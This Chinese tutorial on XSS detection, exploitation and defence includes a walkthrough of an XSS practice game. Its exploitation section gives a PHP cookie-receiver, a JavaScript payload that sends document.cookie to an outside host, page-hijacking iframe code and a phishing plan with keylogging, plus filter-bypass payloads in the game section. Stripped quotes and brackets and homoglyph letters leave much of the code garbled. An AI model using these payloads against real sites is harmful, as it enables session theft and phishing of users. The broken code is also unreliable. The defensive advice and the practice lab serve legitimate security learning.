【网络安全】渗透测试入门之XSS漏洞检测利用、和防御机制XSS游戏(非常详细)收藏这一篇就够了!
一、前言这是我给粉丝盆友们整理的网络安全渗透测试入门阶段XSS攻击基础教程。本教程主要讲解XSS漏洞检测、利用和防御机制。喜欢的朋友们记得给我点赞支持和收藏一下关注我学习黑客技术。网络安全形势日益严峻各类漏洞层出不穷。传统的发现漏洞-打补丁模式已陷入恶性循环。事实上通过完善前期防护措施大多数攻击都是可以预防的。二、JS代码的调用方式通过前文我们了解到JavaScript 能够操控浏览器并在用户无感知的情况下执行恶意攻击。因此在讲解 XSS 漏洞检测方法之前我们需要先了解网页是如何调用和执行 JS 代码的。JavaScript调用网页的手法一共有3种事件法标签法伪协议法事件法HTML4的新特性之一是事件它使得用户在对网页进行一些操作时可以触发js代码从而达到更好的交互效果。比如!DOCTYPE html html body img idimage src/i/eg\_smile.gif / input typebutton οnclickchange() value修改/ !-- 当用户点击按钮时触发js修改图片的路径 -- input typebutton οnclickback() value还原/ !-- 当用户点击按钮时触发js修改图片的路径 -- script // 点击 修改 时调用的js代码 function change(){ document.getElementById(image).src /i/porsche.jpg; } // 点击 还原 时调用的js代码 function back(){ document.getElementById(image).src /i/eg\_smile.gif; } /script p原始图像是 eg\_smile.gif但脚本将其更改为 porsche.jpg/p /body /html在前端开发中通常包含非常多的事件类型感兴趣的可以去看看HTML 事件 | 菜鸟教程标签法在HTML语言中不同的标签代表不同的功能这里面就有一个标签用来运行javascript脚本的script/script我们通过这个标签就可以导入javascript代码。标签法导入js代码它有两种形式可以直接在标签对之间写js代码script //在标签对之间书写js代码 alert(1); /script然后通过src属性导入js文件script srctarget.js/script // src可以是相对路径也可以是超链接 script srchttps://unpkg.com/vue3/dist/vue.global.js/script特别需要注意的是这两种形式只能二选一来使用。协议法伪协议Pseudo-protocols是URL中的特殊标识符主要用于在特定场景下触发特定操作或行为。需要特别注意的是它们并非真正的通信协议。伪协议的种类非常多常用的就包括dict伪协议、gopher伪协议php伪协议、data伪协议、等等。而在触发js代码的伪协议中重点要说两种javascript:a hrefjavascript:alert(1)/adata:script srcdata:text/javascript;base64,YWxlcnQoMSk/script通过这两种方式都能触发执行js代码三、XSS漏洞挖掘思路检测XSS漏洞时重点关注用户可控的输入点包括表单输入字段URL查询参数Cookie数据HTTP请求头其他用户可编辑区域测试方法在这些位置注入精心构造的恶意脚本若脚本被执行则证明存在XSS安全漏洞。1. 查询字符串对于有搜索或者查询功能的网站我们可以先简单判断输入的字符是否会在前端输出。如果有输出那么我们就可以常去对这些输出的位置测试XSS漏洞2. 数据提交表单通常来说表单测试xss相对会复杂一些。因为表单会出现这两种情况我们提交数据之后前端不会显示我们提交的表单信息。经典案例问卷调查、意见反馈信息等等我们提交数据之后前端会显示我们提交的表单信息。经典案例注册信息、留言信息、评论信息、订单提交信息等对于这两种形式的表单我们使用的测试方法会有所不同。对于第一种形式由于前端不会显示我们提交的表单信息所以我们只能通过一些特殊的方式来进行测试盲打盲打是一种在无法直接获取执行结果时采用的攻击手段其核心在于通过间接证据确认脚本是否成功执行。这种技术类似于SQL盲注通过布尔比较使网页呈现不同内容或通过延长数据库响应时间来获取信息。XSS盲打同样基于这一原理但对攻击者的JavaScript编程能力有较高要求。当然也有简单的方式借助XSS平台是否抓取到用户cookie来判断XSS漏洞是否存在。XSS盲打实战案例某网页漫画_xss实战虽然这种方式可以实现XSS盲打攻击但需要注意的是使用XSS平台可能存在法律风险。因此在实际渗透测试或漏洞挖掘过程中应当谨慎使用。对于第二种我们直接使用正常的测试语句去进行测试就行了通过这样的方式就可以对前端有回显的表单进行XSS测试。这样我们就能够判断出表单是否存在XSS漏洞了。3.Cookie、请求头等位置Cookie 和请求头中的传参位置往往容易被开发人员和安全设备忽视。这是因为 Cookie 数据通常不会直接显示在前端页面上。然而这并不意味着这些位置就是安全的XSS 漏洞仍然可能存在。我们对Cookie等位置的测试一般也都是以盲打为主测试使用的语句了解完需要测试点位之后接下来就需要去构造测试使用的javascript语句了。这些构造通常由三种形式标签风格借助各种标签来调用js代码常用的标签由svgiframeimg script 等等svg onLoad svg onLoadjavascript:javascript:alert(303)/svg onLoad iframe onLoad iframe onLoadjavascript:javascript:alert(296)/iframe onLoad !--\\x3Eimg srcxxx:x οnerrοrjavascript:alert(358) -- scriptjavascript:alert(356)/script\\x0B script charset\\x22javascript:alert(357)/script直接在输入点传入完整的标签这种方式主要用于网站将数据输出在了两个标签之间的情况事件风格通过闭合标签中的属性实现向标签中插入新的属性或者事件 οnerrοralert(1) \\\\ οnfοcusalert(1) autofocusautofocus \\\\如果你仔细观察标签风格中的XSS语句会发现其中不少POC正是利用事件来测试XSS的。这些案例与我们当前讨论的唯一区别在于事件风格的攻击不再受限于尖括号字符。我们通过直接将数据插入现有标签来实现攻击。伪协议风格伪协议风格的使用条件相对来说要求比较严格需要标签存在 href 属性或者网页能需要填写http连接。所以通常会借助 a 标签或者一些特殊的文档语法来测试a hrefjavascript:alert(1) testxss/a \[xsstest\](javascript:alert(1))四、XSS的利用手法XSS中最常见的攻击手段包括以下四点窃取用户信息恶意重定向篡改网页内容发起钓鱼攻击窃取用户信息JavaScript可以在浏览器中获取用户的一些基本信息cookie、个人资料等。这些实现的方式也并不复杂最简单的方式如下通过vps搭建一个站点要求如下:任意用户能访问接受2个传参网址url地址和cookie并将传递的参数进行base64解密将域名时间戳作为文件名保存传递过来的cookie信息实现代码如下? if(isset($\_REQUEST\[cookieinfo\]) isset($\_REQUEST\[url\]) ){ $info base64\_decode($\_REQUEST\[cookieinfo\]); $domain base64\_decode($\_REQUEST\[url\]); file\_put\_contents($domain.time()..txt, $info); echo nice to get this message; }else{ echo hello world; } ?构建xss攻击语句要求如下1. 通过js获取目标站点的 cookie、host并将这些信息进行base64编码2. 创建span标签、form标签、iframe标签3. span标签设置为 display:none ,并且添加 form标签和 iframe标签为子标签4. 设置form标签将数据提交到接受网站并且按照接收平台的规则将数据进行组装5. 设置form提交结果相应到iframe标签中6. 将span标签添加到 html标签中并且提交form标签代码实现如下(function(){ // 获得目标站点的信息 var cookieinfo btoa(document.cookie); var url btoa(window.location.host.replace(:,\_)); // 设置接受信息的站点 var target\_url http://192.168.226.1/phpinfo.php; // 创建需要使用到的标签 var html document.getElementsByTagName(html)\[0\]; var span document.createElement(span); var form document.createElement(form); var input1 document.createElement(input); var input2 document.createElement(input); // 设置form标签的基本属性 form.action target\_url; // 设置传递的值域1 cookie信息 input1.name cookieinfo; input1.type text; input1.setAttribute(value,cookieinfo ); // 设置传递的值域2 域名信息 input2.name url; input2.type text; input2.setAttribute(value,url) // 将值域填充到form表单中 form.appendChild(input1); form.appendChild(input2); // 创建一个iframe用于接受form表单提交后返回的数据 var iframe document.createElement(iframe); iframe.name \_test; // 设置form的target实现隐藏form回显的问题 form.target iframe.name; // 将form 和 iframe 都填充到 span 中 span.appendChild(form); span.appendChild(iframe); // 将 span 标签隐藏 span.style.display none; // 然后将表单都填充到html页面中 html.appendChild(span); // 提交表单 form.submit(); })()通过这样的方式就可以简单的实现用户数据窃取。当然这样的代码比较丑陋开发能力有限见谅在实际测试的时候有更优解XSS平台xss平台的作用和上面的功能是一样的。它是别人开发好的一套相对优雅的解法。但是需要注意一点公共XSS平台是不安全的XSS平台的维护人员是能从XSS平台的后台获取所有打到该平台的XSS信息。所以如果在实际项目中项目对数据的保密性有要求切忌使用公开XSS平台。不过还是不能绕过XSS平台的简介这里以 xsscom.com 平台为例进行讲解大部分的XSS平台都是大同小异的首先访问站点之后进行一个注册。因为国内政策的原因现在大部分的XSS平台注册都需要邀请码同时需要使用邮箱进行注册。邀请码这个东西没辙不过现在有一部分的XSS平台是不限制邮箱的所以我们可以通过临时邮箱来注册这些平台。攻防中一定要保护还好自己的个人隐私如何获取临时邮箱你猜猜看注册完成之后使用账户进行登录我就不在截图了。登录成功之后创建一个项目。一部分XSS平台对项目创建和数据存储有限制这个自行探索。创建 → 项目名称、描述 → 勾选模块(默认模块(必勾)、XSS.js(必勾)、基础认证钓鱼模块(可选)) → 完成当创建完项目之后将会得到一个代码页面拖到最下面就会有XSS平台的利用方法然后将这些利用方式替换我们的XSS检测点的无害XSS就能实现 基础的Cookie窃取这个解法就很优雅了。唯一的缺点是使用的是公共XSS平台。信息保密性无法保证。恶意重定向这个理解起来也很简单就是通过向网页插入一串JS代码让网页自动跳转到指定的网站中。window.location.hrefhttp://192.168.226.1当然这个方式并不够优雅因为这个跳转之后浏览器地址栏的内容也会发生变化。这个迷惑性相对来说比较低只要稍微注意一点就能发现网站发生了异常。篡改网页内容所以就有了更优雅的攻击方式篡改网页内容。在不修改地址栏的内容实现对网站内容的篡改。这里介绍一个新的平台xssaq.com。这也是一个XSS平台只不过它更加的暴力和优雅而我刚刚说的篡改网页你内容就能通过他的一项配置来实现通过这个配置就可以再不修改地址栏的内容。将网站重定向到指定的url中。在没有去看他的实现代码之前我想到的思路是这样的:通过js将原来的body给删除通过js创建一个form表单然后请求目标地址通过js创建一个 iframe 标签用来接收form表单的返回结果。重新生成body并且将form和iframe插入body标签。将body插入到html标签在模仿Cookie窃取的思路来实现这个攻击。实现一下这个代码(function(){ var body document.getElementsByTagName(body)\[0\]; body.parentNode.removeChild(body); var html document.getElementsByTagName(html)\[0\]; body document.createElement(body); html.appendChild(body); var iframe document.createElement(iframe); iframe.name \_test; var form document.createElement(form); form.actionhttps://www.anchorubik.com; form.methodget; form.target iframe.name; body.appendChild(form); body.appendChild(iframe); iframe.style.cssText position:absolute; z-index:100000; width:100%;height:100%; frameborderno;scrolling:no; form.submit();})()不过这个代码实现的并不优雅。因为当遇到一些站点不允许iframe跨域调用时页面就会报错。而且如果目标站点使用的是https时重定向的目标站也必须使用https。然后我就去看了一眼xssaq平台是怎么实现的。嗯我思路是没有错的不过我尝试着直接拿上面的这一串代码放到浏览器中打self xss发现效果没有上面的代码好。稍微修改一下自己的代码然他显得不那么丑陋(function(){ var html document.getElementsByTagName(html)\[0\]; html.removeChild(document.getElementsByTagName(body)\[0\]); var body document.createElement(body); body.style.cssTextscrolling:no; html.appendChild(body); var iframe document.createElement(iframe); iframe.srchttps://www.anchorubik.com; body.appendChild(iframe); iframe.style.cssText position:absolute; z-index:100000; width:100%;height:100%; frameborderno;scrolling:no; })()优雅不过如果细心一点还是能发现问题: 在网页上的操作地址栏的内容将维持不变发起钓鱼攻击在了解了串改网页内容攻击的原理之后还想要进一步攻击那不就是钓鱼了而有了篡改网页内容的基础之后接下来要钓鱼还不是轻轻松松通过在自己的vps上模仿搭建目标站点的登录页面。在自己的vps中实现以下功能:a. 将用户提交的数据转发到原网站b. 如果登录成功则将数据保存在本地。并且不在劫持页面。c. 如果登录失败则将响应信息返回给目标用户知道用户登录成功思路有了接下来就是代码实现来了我觉得这个时候各位应该可以拿起cs了。cs有一个钓鱼模块能够轻松复刻目标站点并且实现键盘记录。通过XSS篡改目标网站到我们cs生成的网站能够完美实现钓鱼。具体的实现方式我这里就去写了有点懒在这里我想讨论另一个东西如果目标站点存在XSS漏洞我已经能够通过XSS获取目标的Cookie了还有必要去钓鱼吗五、XSS漏洞修复建议1、防堵跨站漏洞阻止攻击者利用在被攻击网站上发布跨站攻击语句不可以信任用户提交的任何内容首先代码里对用户输入的地方和变量都需要仔细检查长度和对”””””””’”等字符做过滤其次任何内容写到页面之前都必须加以encode避免不小心把htmltag弄出来。这一个层面做好至少可以堵住超过一半的XSS攻击。2、cookie防盗首先避免直接在cookie中泄露用户隐私例如email、密码等等。其次通过使cookie和系统ip绑定来降低cookie泄露后的危险。这样攻击者得到的cookie没有实际价值不可能拿来重放。3、尽量采用POST而非GET提交表单POST操作不可能绕开javascript的使用这会给攻击者增加难度减少可利用的跨站漏洞。4、严格检查refer检查httprefer是否来自预料中的url。这可以阻止第2类攻击手法发起的http请求也能防止大部分第1类攻击手法除非正好在特权操作的引用页上种了跨站访问。5、将单步流程改为多步在多步流程中引入效验码多步流程中每一步都产生一个验讠正码作为hidden表单元素嵌在中间页面下一步操作时这个验讠正码被提交到服务器服务器检查这个验讠正码是否匹配。首先这为第1类攻击者大大增加了麻烦。其次攻击者必须在多步流程中拿到上一步产生的效验码才有可能发起下一步请求这在第2类攻击中是几乎无法做到的。6、引入用户交互简单的一个看图识数可以堵住几乎所有的非预期特权操作。7、只在允许anonymous访问的地方使用动态的javascript。8、对于用户提交信息的中的img等link检查是否有重定向回本站、不是真的图片等可疑操作。9、内部管理网站的问题很多时候内部网站往往疏于关注安全问题只是简单的限制访问来源。这种网站往往对XSS攻击毫无抵抗力需要多加注意。虽然XSS的攻击很灵活只要我们能做好上述几点是可以组织大部分XSS的再及时打好补丁可以最大程度的减少来自跨站脚本攻击XSS的威胁。申明本账号所分享内容仅用于网络安全技术讨论切勿用于违法途径所有渗透都需获取授权违者后果自行承担与本号及作者无关请谨记守法。六、Xss小游戏通关攻略实验环境xss小游戏源码phpstudy源码地址https://files.cnblogs.com/files/Eleven-Liu/xss%E7%BB%83%E4%B9%A0%E5%B0%8F%E6%B8%B8%E6%88%8F.zip实验步骤启动phpstudy浏览器访问127.0.0.1/xss/后提示点击图片进入第一关。第一关输入的变量直接被输出直接构造payload即可。http://127.0.0.1/xss/level1.php?namehttp://127.0.0.1/xss/level1.php?nametest‘第二关搜索框的XSS输入的变量直接输出到input标签内闭合input标签构造XSS备注echo语句输出到页面时使用了htmlspecialchars函数。payload: http://127.0.0.1/xss/level2.php?keywordtest第三关输入的变量被htmlspecialchars函数处理了这个函数处理的字符有 没有处理单引号因此利用单引号构造payload先通过单引号闭合value第四关大于号 小于号 被过滤了构造不包含这两个符号的payloadvalue的值与第三关有所差异这里需要使用双引号用于闭合value标签(http://127.0.0.1/xss/level3.php?keyword%27%20rel)http://127.0.0.1/xss/level4.php?keywordtestοnmοuseοver‘alert(1)http://127.0.0.1/xss/level4.php?keywordtest%22%CE%BFnm%CE%BFuse%CE%BFver%27%20rel“http://127.0.0.1/xss/level4.php?keywordtestοnmοuseοveralert(1)”)’第五关script 和on被替换了构造不含这两个的payload127.0.0.1/xss/level5.php?keywordfind a way out!1第六关比第五关过滤的东西更多包括了src data href 可以把这些关键字大写以绕过这些过滤payload: http://127.0.0.1/xss/level6.php?keywordbreak it out!1第七关增加strtolower函数把输入变量转成了小写但过滤的字符强制变成空格可以使用中间的script变成了空格正好变成了127.0.0.1/xss/level7.php?keywordmove up!1alert(1)第八关input中输入的变量通过htmlspecialchars被处理了且双引号被替换成空无法通过双引号闭合value。这里的输入被添加至超链接中直接构造payload:javascript对其中的字母进行实体编码搜索框中输入 javascript:alert(1) 点击添加到友情链接点击链接第九关上一关的基础上判断输入的链接是否包含http://因为用的是strpos函数没有限制必须是开始的位置所以在上一关的基础上修改payload为 javascript:alert(‘http://’)第十关keyword变量没办法构造payload发现隐藏变量t_sort可以被写入但过滤了大于小于号构造不含大于小于号的payload类型改为text具体如下[http://127.0.0.1/xss/level10.php?t_sortοnmοuseοveralert(1)typetext](http://127.0.0.1/xss/level10.php?t_sort%22%CE%BFnm%CE%BFuse%CE%BFver%27%20rel http://127.0.0.1/xss/level10.php?t_sort“οnmοuseοveralert(1)type“text”)”第十一关查看源码可以看到t_ref的value是我们访问这个网页的referer值故可以抓包修改referer在referer后加入” οnmοuseοver‘alert(1)’ type“text”。第十二关查看源码$str33最初是由HTTP_USER_AGENT过滤 而来修改User-Agent在后面加上 οnmοuseοver‘alert(1)’ type“text”。第十三关同上查看源码$str33最初是由cookie过滤 而来修改cookie在后面加上 οnmοuseοver‘alert(1)’ type“text”。第十四关网站已经打不开略过第十五关angularjs的ng-includehttp://127.0.0.1/xss /level15.php?src‘level1.php?nametestimg src1 οnerrοralert(1)’第十六关script / 空格被过滤了 用%0d换行符绕过http://127.0.0.1/xss/level16.php?keyword%3Cimg%0dsrc1%0dοnerrοralert(2)%3Ealert(2)http://127.0.0.1/xss /level16.php?keywordimg%0Dsrc1%0Dοnerrοralert()http://127.0.0.1/xss /level16.php?keywordimg%0asrc1%0aοnerrοralert()http://127.0.0.1/xss /level16.php?keywordimg%0asrcx%0donErroralert(‘xss’)http://127.0.0.1/xss /level16.php?keywordiframe%0asrcx%0dοnmοuseοveralert’1’http://127.0.0.1/xss /level16.php?keywordsvg%0aοnlοadalert’1’第十七关arg01和arg02 被htmlspecialchars过滤了通过οnmοuseοveralert(1)绕过。http://127.0.0.1/xss/level17.php?arg01aarg02%20οnmοuseοveralert%282%29第十八关同十七直接把arg02 设置为οnmοuseοver‘alert(1)’http://192.168.40.128/xss/level18.php?arg01aarg02 οnmοuseοveralert(2)第十九关和二十关属于Flash xss,略过。网络安全学习资源分享:给大家分享一份全套的网络安全学习资料给那些想学习 网络安全的小伙伴们一点帮助对于从来没有接触过网络安全的同学我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线大家跟着这个大的方向学习准没问题。因篇幅有限仅展示部分资料朋友们如果有需要全套《网络安全入门进阶学习资源包》请看下方扫描即可前往获取